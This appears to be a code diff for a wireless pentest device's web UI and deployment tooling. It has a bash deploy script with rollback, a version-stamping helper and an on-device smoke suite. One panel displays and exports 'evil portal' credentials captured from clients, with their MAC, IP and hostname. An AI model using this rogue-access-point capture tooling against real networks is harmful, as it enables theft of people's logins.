const caps = d.captures || [];
|
||||||
|
capBody.innerHTML = '';
|
||||||
|
capBody.appendChild(h('div', { class: 'row' },
|
||||||
|
h('span', { text: caps.length ? (caps.length + ' capture(s)' +
|
||||||
|
(d.total > caps.length ? ' (of ' + d.total + ')' : '')) : 'No credentials captured yet.' }),
|
||||||
|
h('div', {},
|
||||||
|
btn('Refresh', () => { loadCaptures(); }, 'ghost'),
|
||||||
|
caps.length ? btn('Clear All', () => {
|
||||||
|
if (!window.confirm('Delete ALL captured credentials?')) return;
|
||||||
|
runAction(null, () => PagerAPI.del('/api/portals/captures')
|
||||||
|
.then(loadCaptures), 'Clearing…');
|
||||||
|
}, 'danger') : null,
|
||||||
|
caps.length ? h('a', { class: 'btn ghost', href: '#', onclick: (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
downloadText('evil-portal-captures.json', JSON.stringify(caps, null, 2));
|
||||||
|
}, text: 'Export JSON', style: 'text-decoration:none' }) : null)));
|
||||||
|
if (!caps.length) return;
|
||||||
|
capBody.appendChild(table(
|
||||||
|
[{ key: 'when', label: 'When' }, { key: 'portal', label: 'Portal' },
|
||||||
|
{ key: 'ident', label: 'Client' }, { key: 'creds', label: 'Fields' }],
|
||||||
|
caps.map((c) => ({
|
||||||
|
when: c.time || fmtTime(c.ts),
|
||||||
|
portal: c.portal || '—',
|
||||||
|
ident: [c.mac, c.ip, c.hostname].filter(Boolean).join(' · ') || '—',
|
||||||
|
creds: Object.keys(c.fields || {}).map((k) =>
|
||||||
|
k + ': ' + String(c.fields[k]).slice(0, 40)).join(' | ') || '(no fields)'
|
||||||
|
}))));
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
|
refresh();
|
||||||
|
loadCaptures();
|
||||||
|
const iv = setInterval(loadCaptures, 10000);
|
||||||
|
return { destroy: () => clearInterval(iv) };
|
||||||
|
};
|
||||||
|
|||||||
@@ -0,0 +1,124 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Build helpers shared by Mark VIII deploy scripts.
|
||||||
|
|
||||||
|
stamp_version() stamps release metadata into BUILD COPIES ONLY: callers
|
||||||
|
always pass a staging/build directory, never the source tree, so the repo
|
||||||
|
stays clean while every deployed artifact reports the same VERSION.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
|
||||||
|
VERSION_RE = re.compile(r'^[0-9][A-Za-z0-9._-]{0,31}$')
|
||||||
|
SERVER_VERSION_LINE = "SERVER_VERSION = '%s'\n"
|
||||||
|
|
||||||
|
|
||||||
|
def _stamp_manifest(path, version):
|
||||||
|
try:
|
||||||
|
with open(path, encoding='utf-8') as f:
|
||||||
|
data = json.load(f)
|
||||||
|
except (OSError, ValueError):
|
||||||
|
return False
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
return False
|
||||||
|
data['version'] = version
|
||||||
|
with open(path, 'w', encoding='ascii') as f:
|
||||||
|
json.dump(data, f, indent=2)
|
||||||
|
f.write('\n')
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def _stamp_payload_sh(path, version):
|
||||||
|
try:
|
||||||
|
with open(path, encoding='utf-8') as f:
|
||||||
|
lines = f.readlines()
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
|
out = []
|
||||||
|
replaced = False
|
||||||
|
for line in lines:
|
||||||
|
m = None if replaced \
|
||||||
|
else re.match(r'^(\s*#\s*[Vv]ersion:).*$', line)
|
||||||
|
if m:
|
||||||
|
out.append(m.group(1) + ' ' + version + '\n')
|
||||||
|
replaced = True
|
||||||
|
else:
|
||||||
|
out.append(line)
|
||||||
|
if not replaced:
|
||||||
|
insert = 1 if lines and lines[0].startswith('#!') else 0
|
||||||
|
out.insert(insert, '# Version: %s\n' % version)
|
||||||
|
with open(path, 'w', encoding='utf-8') as f:
|
||||||
|
f.writelines(out)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def _server_insert_index(lines):
|
||||||
|
"""Index just past any shebang/comments/blanks and module docstring."""
|
||||||
|
i = 0
|
||||||
|
n = len(lines)
|
||||||
|
if i < n and lines[i].startswith('#!'):
|
||||||
|
i += 1
|
||||||
|
while i < n and (lines[i].strip().startswith('#')
|
||||||
|
or not lines[i].strip()):
|
||||||
|
i += 1
|
||||||
|
if i < n:
|
||||||
|
stripped = lines[i].lstrip()
|
||||||
|
quote = stripped[:3]
|
||||||
|
if quote in ('"""', "'''"):
|
||||||
|
closed_here = quote in stripped[3:]
|
||||||
|
i += 1
|
||||||
|
if not closed_here:
|
||||||
|
while i < n and quote not in lines[i]:
|
||||||
|
i += 1
|
||||||
|
i += 1
|
||||||
|
return min(i, len(lines))
|
||||||
|
|
||||||
|
|
||||||
|
def _stamp_server_py(path, version):
|
||||||
|
try:
|
||||||
|
with open(path, encoding='utf-8') as f:
|
||||||
|
lines = f.readlines()
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
|
lines = [l for l in lines if not l.startswith('SERVER_VERSION')]
|
||||||
|
idx = _server_insert_index(lines)
|
||||||
|
lines.insert(idx, SERVER_VERSION_LINE % version)
|
||||||
|
with open(path, 'w', encoding='utf-8') as f:
|
||||||
|
f.writelines(lines)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def stamp_version(build_dir, version):
|
||||||
|
"""Stamp <version> into build copies found under build_dir.
|
||||||
|
|
||||||
|
Updates every ``_hak5_manifest.json`` (version field), ``payload.sh``
|
||||||
|
(header Version line) and ``server.py`` (injected SERVER_VERSION
|
||||||
|
constant near the top). Idempotent: re-running never duplicates the
|
||||||
|
injected constant or header. Returns the list of stamped paths."""
|
||||||
|
if not VERSION_RE.match(str(version)):
|
||||||
|
raise ValueError('invalid version string: %r' % (version,))
|
||||||
|
stamped = []
|
||||||
|
for root, dirs, files in os.walk(build_dir):
|
||||||
|
for fname in ('_hak5_manifest.json', 'payload.sh', 'server.py'):
|
||||||
|
if fname in files:
|
||||||
|
path = os.path.join(root, fname)
|
||||||
|
if fname == '_hak5_manifest.json':
|
||||||
|
ok = _stamp_manifest(path, version)
|
||||||
|
elif fname == 'payload.sh':
|
||||||
|
ok = _stamp_payload_sh(path, version)
|
||||||
|
else:
|
||||||
|
ok = _stamp_server_py(path, version)
|
||||||
|
if ok:
|
||||||
|
stamped.append(path)
|
||||||
|
return sorted(stamped)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print('usage: build_common.py <build_dir> <version>',
|
||||||
|
file=sys.stderr)
|
||||||
|
sys.exit(2)
|
||||||
|
for path in stamp_version(sys.argv[1], sys.argv[2]):
|
||||||
|
print('stamped: %s' % path)
|
||||||
+112
-33
@@ -21,6 +21,11 @@ Options:
|
|||||||
--no-portal-refresh Skip the best-effort portal refresh
|
--no-portal-refresh Skip the best-effort portal refresh
|
||||||
-h, --help Show this help
|
-h, --help Show this help
|
||||||
|
|
||||||
|
Deploys to /mmc/mk8/releases/<ts>/ with an atomically repointed 'current'
|
||||||
|
symlink, mirrors the payload into the legacy /root/payloads location the
|
||||||
|
init scripts run from, verifies sha256 of the upload, and polls the local
|
||||||
|
API after start; on failure it rolls the symlink + legacy dir back.
|
||||||
|
|
||||||
If neither --password nor --ssh-key is supplied, ssh/scp prompt normally.
|
If neither --password nor --ssh-key is supplied, ssh/scp prompt normally.
|
||||||
EOF
|
EOF
|
||||||
}
|
}
|
||||||
@@ -61,6 +66,17 @@ STAGE="$OUT_DIR/stage"
|
|||||||
printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2
|
printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2
|
||||||
exit 1
|
exit 1
|
||||||
}
|
}
|
||||||
|
VERSION_FILE="$ROOT/VERSION"
|
||||||
|
[[ -f "$VERSION_FILE" ]] || {
|
||||||
|
printf 'VERSION file not found: %s\n' "$VERSION_FILE" >&2
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
VERSION="$(tr -d '[:space:]' < "$VERSION_FILE")"
|
||||||
|
[[ -n "$VERSION" ]] || {
|
||||||
|
printf 'VERSION file is empty.\n' >&2
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
printf 'Deploying Mark VIII version %s\n' "$VERSION"
|
||||||
|
|
||||||
mkdir -p "$OUT_DIR"
|
mkdir -p "$OUT_DIR"
|
||||||
rm -rf "$STAGE"
|
rm -rf "$STAGE"
|
||||||
@@ -68,6 +84,10 @@ mkdir -p "$STAGE/user/$PAYLOAD_CATEGORY"
|
|||||||
cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
||||||
find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} +
|
find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} +
|
||||||
|
|
||||||
|
# Stamp build copies only (never the source tree): payload.sh header,
|
||||||
|
# staged server.py SERVER_VERSION constant; manifest is stamped below.
|
||||||
|
python3 "$ROOT/scripts/build_common.py" "$STAGE" "$VERSION"
|
||||||
|
|
||||||
B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')"
|
B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')"
|
||||||
ZIP_NAME="payload-$B64_KEY.zip"
|
ZIP_NAME="payload-$B64_KEY.zip"
|
||||||
ZIP_PATH="$OUT_DIR/$ZIP_NAME"
|
ZIP_PATH="$OUT_DIR/$ZIP_NAME"
|
||||||
@@ -94,7 +114,9 @@ with open(destination, 'w', encoding='ascii') as handle:
|
|||||||
json.dump(manifest, handle, indent=2)
|
json.dump(manifest, handle, indent=2)
|
||||||
handle.write('\n')
|
handle.write('\n')
|
||||||
PY
|
PY
|
||||||
printf 'Built: %s\n' "$ZIP_PATH"
|
# Single-source version: stamp the generated manifest copy too.
|
||||||
|
python3 "$ROOT/scripts/build_common.py" "$MANIFEST_PATH" "$VERSION" >/dev/null
|
||||||
|
printf 'Built: %s (sha256 %s)\n' "$ZIP_PATH" "$HASH"
|
||||||
|
|
||||||
TARGET="$PAGER_USER@$PAGER_HOST"
|
TARGET="$PAGER_USER@$PAGER_HOST"
|
||||||
SSH_OPTS=(-o StrictHostKeyChecking=accept-new)
|
SSH_OPTS=(-o StrictHostKeyChecking=accept-new)
|
||||||
@@ -166,46 +188,103 @@ echo PYTHON_OK'
|
|||||||
|
|
||||||
install_python3
|
install_python3
|
||||||
|
|
||||||
run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/"
|
run_ssh "$TARGET" 'mkdir -p /tmp/mk8-stage && rm -rf /tmp/mk8-stage/*'
|
||||||
|
run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/mk8-stage/"
|
||||||
|
|
||||||
REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
||||||
LEGACY_PAYLOAD_DIR="user/general/$PAYLOAD_KEY"
|
RELEASE_TS="$(date +%Y%m%d-%H%M%S)"
|
||||||
REMOTE_COMMAND="set -e
|
REMOTE_COMMAND="set -e
|
||||||
cd /root/payloads
|
STAGE_DIR='/tmp/mk8-stage'
|
||||||
stage='.pager-webui.deploy.\$\$'
|
ZIP="\$STAGE_DIR/$ZIP_NAME"
|
||||||
backup='.pager-webui.backup.\$\$'
|
RELDIR='/mmc/mk8/releases/$RELEASE_TS'
|
||||||
trap 'rm -rf \"\$stage\" \"\$backup\"' EXIT
|
PAYDIR='$REMOTE_PAYLOAD_DIR'
|
||||||
mkdir -p \"\$stage\"
|
LIVE=\"/root/payloads/\$PAYDIR\"
|
||||||
cd \"\$stage\"
|
BACKUP=\"/root/payloads/.pager-webui.backup.\$\$\"
|
||||||
unzip -q '/tmp/$ZIP_NAME'
|
CURRENT='/mmc/mk8/releases/current'
|
||||||
new=\"\$PWD/$REMOTE_PAYLOAD_DIR\"
|
PREV=\$(readlink \$CURRENT 2>/dev/null || true)
|
||||||
[ -f \"\$new/server.py\" ] && [ -f \"\$new/payload.sh\" ] && [ -d \"\$new/www\" ]
|
cleanup() { rm -rf \"\$STAGE_DIR\"; }
|
||||||
cp /tmp/_hak5_manifest.json \"\$new/_hak5_manifest.json\"
|
trap cleanup EXIT
|
||||||
chmod +x \"\$new/payload.sh\" \"\$new/pagerwebui.init\"
|
|
||||||
chmod -R 755 \"\$new/www\"
|
# Upload integrity gate: remote sha256 must match the local build hash.
|
||||||
cd /root/payloads
|
GOT=\$(sha256sum \"\$ZIP\" | awk '{print \$1}')
|
||||||
if [ -d '$REMOTE_PAYLOAD_DIR' ]; then
|
[ \"\$GOT\" = '$HASH' ] || { echo 'sha256 mismatch on uploaded zip' >&2; exit 1; }
|
||||||
mkdir -p \"\$(dirname \"\$backup\")\"
|
[ -f \"\$STAGE_DIR/_hak5_manifest.json\" ] || { echo 'manifest missing' >&2; exit 1; }
|
||||||
mv '$REMOTE_PAYLOAD_DIR' \"\$backup\"
|
|
||||||
fi
|
/etc/init.d/pagerwebui stop >/dev/null 2>&1 || true
|
||||||
if mv \"\$new\" '$REMOTE_PAYLOAD_DIR'; then
|
mkdir -p \"\$RELDIR\"
|
||||||
rm -rf \"\$backup\" '$LEGACY_PAYLOAD_DIR'
|
unzip -q \"\$ZIP\" -d \"\$RELDIR\"
|
||||||
else
|
NEW=\"\$RELDIR/\$PAYDIR\"
|
||||||
[ ! -d \"\$backup\" ] || mv \"\$backup\" '$REMOTE_PAYLOAD_DIR'
|
[ -f \"\$NEW/server.py\" ] && [ -f \"\$NEW/payload.sh\" ] && [ -d \"\$NEW/www\" ] || {
|
||||||
|
echo 'release payload incomplete' >&2
|
||||||
|
rm -rf \"\$RELDIR\"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
cp \"\$STAGE_DIR/_hak5_manifest.json\" \"\$NEW/_hak5_manifest.json\"
|
||||||
|
chmod +x \"\$NEW/payload.sh\" \"\$NEW/pagerwebui.init\"
|
||||||
|
chmod -R 755 \"\$NEW/www\"
|
||||||
|
ln -sfn \"\$RELDIR\" \"\$CURRENT\"
|
||||||
|
|
||||||
|
# Mirror into the legacy /root/payloads path the init scripts execute.
|
||||||
|
rollback_install() {
|
||||||
|
rm -rf \"\$LIVE\"
|
||||||
|
[ ! -d \"\$BACKUP\" ] || mv \"\$BACKUP\" \"\$LIVE\"
|
||||||
|
if [ -n \"\$PREV\" ]; then
|
||||||
|
ln -sfn \"\$PREV\" \"\$CURRENT\"
|
||||||
|
else
|
||||||
|
rm -f \"\$CURRENT\"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
if [ -d \"\$LIVE\" ]; then mv \"\$LIVE\" \"\$BACKUP\"; fi
|
||||||
|
if ! mkdir -p \"\$LIVE\" || ! cp -a \"\$NEW/.\" \"\$LIVE/\"; then
|
||||||
|
rollback_install
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
rm -f '/tmp/$ZIP_NAME' /tmp/_hak5_manifest.json
|
cp -f \"\$LIVE/pagerwebui.init\" /etc/init.d/pagerwebui
|
||||||
cp '$REMOTE_PAYLOAD_DIR/pagerwebui.init' /etc/init.d/pagerwebui
|
|
||||||
chmod +x /etc/init.d/pagerwebui
|
chmod +x /etc/init.d/pagerwebui
|
||||||
/etc/init.d/pagerwebui enable
|
/etc/init.d/pagerwebui enable
|
||||||
if /etc/init.d/pagerwebui running >/dev/null 2>&1; then
|
cp -f \"\$LIVE/mk8-guard.init\" /etc/init.d/mk8-guard
|
||||||
/etc/init.d/pagerwebui restart
|
chmod 755 /etc/init.d/mk8-guard
|
||||||
else
|
/etc/init.d/mk8-guard enable
|
||||||
|
/etc/init.d/pagerwebui start
|
||||||
|
|
||||||
|
# Post-deploy verification: API must answer within ~60s (deadline-capped so
|
||||||
|
# hung connections cannot stretch the window) or we roll back.
|
||||||
|
T0=\$(date +%s)
|
||||||
|
DEADLINE=\$((\$T0 + 60))
|
||||||
|
HEALTH_OK=''
|
||||||
|
while [ \$(date +%s) -lt \$DEADLINE ]; do
|
||||||
|
if curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1; then
|
||||||
|
HEALTH_OK=1
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
|
if [ -z \"\$HEALTH_OK\" ]; then
|
||||||
|
echo 'post-deploy health check failed; rolling back' >&2
|
||||||
|
/etc/init.d/pagerwebui stop >/dev/null 2>&1 || true
|
||||||
|
rollback_install
|
||||||
|
rm -rf \"\$RELDIR\"
|
||||||
/etc/init.d/pagerwebui start
|
/etc/init.d/pagerwebui start
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
rm -rf \"\$BACKUP\"
|
||||||
|
# Prune old releases; keep the newest 3 including current.
|
||||||
|
ALL=\$(ls -1d /mmc/mk8/releases/2* 2>/dev/null | sort)
|
||||||
|
TOTAL=\$(printf '%s\\n' \"\$ALL\" | grep -c .)
|
||||||
|
KEEP_FROM=\$((TOTAL - 2))
|
||||||
|
if [ \"\$KEEP_FROM\" -gt 1 ]; then
|
||||||
|
printf '%s\\n' \"\$ALL\" | awk -v kf=\"\$KEEP_FROM\" 'NR < kf' | while read r; do
|
||||||
|
CUR=\$(readlink \$CURRENT 2>/dev/null || true)
|
||||||
|
[ \"\$r\" = \"\$CUR\" ] || rm -rf \"\$r\"
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
echo RELEASE_OK@\"\$RELDIR\""
|
||||||
|
if run_ssh "$TARGET" "$REMOTE_COMMAND"; then
|
||||||
|
printf 'Release active: /mmc/mk8/releases/%s\n' "$RELEASE_TS"
|
||||||
|
else
|
||||||
|
printf 'Deployment failed; previous release restored on the pager.\n' >&2
|
||||||
|
exit 1
|
||||||
fi
|
fi
|
||||||
echo EXTRACT_OK"
|
|
||||||
run_ssh "$TARGET" "$REMOTE_COMMAND"
|
|
||||||
printf 'Installed to /root/payloads/%s/\n' "$REMOTE_PAYLOAD_DIR"
|
|
||||||
|
|
||||||
if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then
|
if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then
|
||||||
PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)"
|
PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)"
|
||||||
@@ -232,4 +311,4 @@ elif $PORTAL_REFRESH; then
|
|||||||
printf 'Skipping portal refresh without --password; payload installation is complete.\n'
|
printf 'Skipping portal refresh without --password; payload installation is complete.\n'
|
||||||
fi
|
fi
|
||||||
|
|
||||||
printf 'Deploy complete. Browse http://%s:8080/\n' "$PAGER_HOST"
|
printf 'Deploy complete (v%s). Browse http://%s:8080/\n' "$VERSION" "$PAGER_HOST"
|
||||||
|
|||||||
Executable
+514
@@ -0,0 +1,514 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# Mark VIII on-device reliability smoke suite (POSIX sh, BusyBox-safe).
|
||||||
|
#
|
||||||
|
# Usage: smoke.sh [--write]
|
||||||
|
#
|
||||||
|
# Read-only checks (default):
|
||||||
|
# 1. Web UI answers GET /
|
||||||
|
# 2. mk8-guard installed and enabled (S49 boot symlink)
|
||||||
|
# 3. Safe-UCI invariants + SSID pool size <= 20
|
||||||
|
# 4. Event journal: last line of /mmc/mk8/events.log parses as JSON
|
||||||
|
# with a 'kind' field (via python3)
|
||||||
|
# 5. Monitor interfaces wlan0mon + wlan1mon exist
|
||||||
|
# 6. Deployed server.py SERVER_VERSION == payload.sh Version header
|
||||||
|
# 7. Authenticated API path: POST /api/login -> GET /api/health
|
||||||
|
# (requires webui password in $PASS; skipped when unset)
|
||||||
|
#
|
||||||
|
# Destructive drills (--write only; values auto-restored):
|
||||||
|
# 8. Bad-value drill: feeds --reconcile a wrong bands value and an
|
||||||
|
# oversized SSID pool (25 dummy entries), verifies both are
|
||||||
|
# repaired, restores originals.
|
||||||
|
# 9. RF role drill (only when SMOKE_UPLINK_SSID is set): switches
|
||||||
|
# radio1 to the uplink role against the named lab AP, expects an
|
||||||
|
# association, then back to attack with hopping resumed.
|
||||||
|
# 10. Rollback watchdog drill: runs mk8-watchdog.sh against a config
|
||||||
|
# profile while the web UI is up (expects clean promote exit),
|
||||||
|
# then STOPS the pagerwebui service and expects the watchdog to
|
||||||
|
# roll back and journal a 'rollback' event, then restarts webui.
|
||||||
|
# Preceded by a 5-second warning countdown; brief web outage.
|
||||||
|
# Drills run only when every read-only check has passed.
|
||||||
|
#
|
||||||
|
# Environment:
|
||||||
|
# PASS webui password used for POST /api/login (check 7).
|
||||||
|
# SMOKE_UPLINK_SSID lab AP SSID; enables the --write RF role drill.
|
||||||
|
# SMOKE_UPLINK_PSK optional PSK for the lab AP.
|
||||||
|
#
|
||||||
|
# Exit status: 0 when every executed check passes, 1 otherwise.
|
||||||
|
|
||||||
|
set -u
|
||||||
|
|
||||||
|
BASE=/mmc/mk8
|
||||||
|
REL="$BASE/releases/current"
|
||||||
|
# Release layout: <release>/user/<category>/<key>/... — resolve the payload dir.
|
||||||
|
REL_PAY="$(find "$REL/user" -maxdepth 3 -name server.py 2>/dev/null | head -n 1)"
|
||||||
|
REL_PAY="${REL_PAY%/server.py}"
|
||||||
|
LEGACY=/root/payloads/user/remote_access/pager-webui
|
||||||
|
URL=http://127.0.0.1:8080
|
||||||
|
GUARD_INIT=/etc/init.d/mk8-guard
|
||||||
|
GUARD_LINK=/etc/rc.d/S49mk8-guard
|
||||||
|
WEBUI_INIT=/etc/init.d/pagerwebui
|
||||||
|
JAR=/tmp/mk8-smoke-cookies.$$
|
||||||
|
|
||||||
|
WRITE=0
|
||||||
|
PASS="${PASS:-}"
|
||||||
|
UPLINK_SSID="${SMOKE_UPLINK_SSID:-}"
|
||||||
|
UPLINK_PSK="${SMOKE_UPLINK_PSK:-}"
|
||||||
|
WEB_STOPPED=0
|
||||||
|
FAILED=0
|
||||||
|
WAIT_RC=0
|
||||||
|
wp=""
|
||||||
|
|
||||||
|
PY="$(command -v python3 2>/dev/null || true)"
|
||||||
|
[ -n "$PY" ] || PY=/usr/bin/python3
|
||||||
|
[ -x "$PY" ] || PY=""
|
||||||
|
|
||||||
|
usage() {
|
||||||
|
printf 'Usage: smoke.sh [--write]\n'
|
||||||
|
printf '\n'
|
||||||
|
printf 'Read-only checks run by default. --write adds destructive drills\n'
|
||||||
|
printf '(run only if every read-only check passed) that briefly toggle\n'
|
||||||
|
printf 'UCI config and stop/start the pagerwebui service; original values\n'
|
||||||
|
printf 'are restored automatically.\n'
|
||||||
|
printf 'Set PASS=<webui password> to enable the authenticated API check.\n'
|
||||||
|
printf 'Set SMOKE_UPLINK_SSID=[<PSK via SMOKE_UPLINK_PSK>] to enable the\n'
|
||||||
|
printf '--write RF role drill against a lab AP.\n'
|
||||||
|
}
|
||||||
|
|
||||||
|
on_exit() {
|
||||||
|
rm -f "$JAR" 2>/dev/null
|
||||||
|
if [ -n "$wp" ]; then
|
||||||
|
kill "$wp" 2>/dev/null
|
||||||
|
fi
|
||||||
|
if [ "$WEB_STOPPED" = "1" ]; then
|
||||||
|
info 'restoring pagerwebui service'
|
||||||
|
"$WEBUI_INIT" start >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
pass() { printf 'PASS %s\n' "$1"; }
|
||||||
|
fail() { printf 'FAIL %s\n' "$1"; FAILED=$((FAILED + 1)); }
|
||||||
|
skip() { printf 'SKIP %s\n' "$1"; }
|
||||||
|
info() { printf ' %s\n' "$1"; }
|
||||||
|
|
||||||
|
uci_get() { uci -q get "$1" 2>/dev/null | tr -d '\r'; }
|
||||||
|
|
||||||
|
rollback_count() {
|
||||||
|
if [ -z "$PY" ] || [ ! -f "$BASE/events.log" ]; then
|
||||||
|
printf 0
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
tail -n 400 "$BASE/events.log" 2>/dev/null | "$PY" -c '
|
||||||
|
import json, sys
|
||||||
|
n = 0
|
||||||
|
for line in sys.stdin:
|
||||||
|
try:
|
||||||
|
d = json.loads(line)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if isinstance(d, dict) and d.get("kind") == "rollback":
|
||||||
|
n += 1
|
||||||
|
print(n)' 2>/dev/null || printf 0
|
||||||
|
}
|
||||||
|
|
||||||
|
# wait_exit <pid> <seconds>: poll for background job exit; sets WAIT_RC
|
||||||
|
# and returns 0 once reaped, 1 on timeout (job left running).
|
||||||
|
wait_exit() {
|
||||||
|
_pid="$1"; _t="$2"; _n=0
|
||||||
|
while [ "$_n" -lt "$_t" ]; do
|
||||||
|
if ! kill -0 "$_pid" 2>/dev/null; then
|
||||||
|
wait "$_pid"
|
||||||
|
WAIT_RC=$?
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
_n=$((_n + 1))
|
||||||
|
done
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
kill_bg() {
|
||||||
|
kill "$1" 2>/dev/null
|
||||||
|
sleep 1
|
||||||
|
kill -9 "$1" 2>/dev/null
|
||||||
|
wait "$1" 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
check_web_up() {
|
||||||
|
if curl -fsS -m 5 "$URL/" >/dev/null 2>&1; then
|
||||||
|
pass 'web: GET / answered'
|
||||||
|
else
|
||||||
|
fail 'web: GET / failed'
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_guard() {
|
||||||
|
if [ -x "$GUARD_INIT" ] && [ -e "$GUARD_LINK" ]; then
|
||||||
|
pass 'guard: init script executable and enabled (S49)'
|
||||||
|
else
|
||||||
|
fail "guard: missing executable/init or S49 link ($GUARD_INIT $GUARD_LINK)"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_invariants() {
|
||||||
|
inv_fail=0
|
||||||
|
while IFS= read -r kv; do
|
||||||
|
[ -n "$kv" ] || continue
|
||||||
|
key="${kv%%=*}"
|
||||||
|
want="${kv#*=}"
|
||||||
|
got="$(uci_get "$key")"
|
||||||
|
if [ "$got" != "$want" ]; then
|
||||||
|
inv_fail=$((inv_fail + 1))
|
||||||
|
info "uci $key=$got (want $want)"
|
||||||
|
fi
|
||||||
|
done <<EOF
|
||||||
|
pineapd.@ssidpool[0].disable=1
|
||||||
|
pineapd.wlan2mon.disable=1
|
||||||
|
pineapd.wlan2mon.hop=0
|
||||||
|
pineapd.wlan1mon.bands=5
|
||||||
|
pineapd.wlan0mon.bands=2
|
||||||
|
pineapd.@pineapd[0].autossidpool=0
|
||||||
|
EOF
|
||||||
|
pool="$(uci_get 'pineapd.@ssidpool[0].ssid')"
|
||||||
|
pool_n=$(printf '%s' "$pool" | awk '{n += NF} END {print n + 0}')
|
||||||
|
if [ "$pool_n" -le 20 ]; then
|
||||||
|
info "ssid pool size: $pool_n (max 20)"
|
||||||
|
else
|
||||||
|
inv_fail=$((inv_fail + 1))
|
||||||
|
info "ssid pool size: $pool_n (max 20)"
|
||||||
|
fi
|
||||||
|
if [ "$inv_fail" -eq 0 ]; then
|
||||||
|
pass 'invariants: safe UCI values + pool <= 20'
|
||||||
|
else
|
||||||
|
fail "invariants: $inv_fail violation(s)"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_journal() {
|
||||||
|
if [ -z "$PY" ]; then
|
||||||
|
fail 'journal: python3 not found for JSON check'
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
last="$(tail -n 1 "$BASE/events.log" 2>/dev/null)"
|
||||||
|
out="$(printf '%s' "$last" | "$PY" -c '
|
||||||
|
import json, sys
|
||||||
|
raw = sys.stdin.read().strip()
|
||||||
|
if not raw:
|
||||||
|
raise SystemExit("events.log empty or missing")
|
||||||
|
try:
|
||||||
|
d = json.loads(raw)
|
||||||
|
except Exception as exc:
|
||||||
|
raise SystemExit("not JSON: %s" % exc)
|
||||||
|
kind = d.get("kind") if isinstance(d, dict) else None
|
||||||
|
if not kind:
|
||||||
|
raise SystemExit("last entry has no kind field")
|
||||||
|
print(kind)' 2>&1)"
|
||||||
|
rc=$?
|
||||||
|
if [ "$rc" -eq 0 ]; then
|
||||||
|
pass "journal: last entry ok (kind=$out)"
|
||||||
|
else
|
||||||
|
fail "journal: $out"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_monitors() {
|
||||||
|
miss=""
|
||||||
|
for m in wlan0mon wlan1mon; do
|
||||||
|
ip link show "$m" >/dev/null 2>&1 || miss="$miss $m"
|
||||||
|
done
|
||||||
|
if [ -z "$miss" ]; then
|
||||||
|
pass 'monitors: wlan0mon + wlan1mon present'
|
||||||
|
else
|
||||||
|
fail "monitors: down:$miss"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_versions() {
|
||||||
|
sv="$(grep '^SERVER_VERSION' "$REL_PAY/server.py" 2>/dev/null | head -n 1 \
|
||||||
|
| sed -e 's/^SERVER_VERSION = //' -e "s/'//g" | tr -d '\r')"
|
||||||
|
pv="$(grep '^#[ ]*[Vv]ersion:' "$REL_PAY/payload.sh" 2>/dev/null | head -n 1 \
|
||||||
|
| sed 's/^#[ ]*[Vv]ersion:[ ]*//' | tr -d '\r')"
|
||||||
|
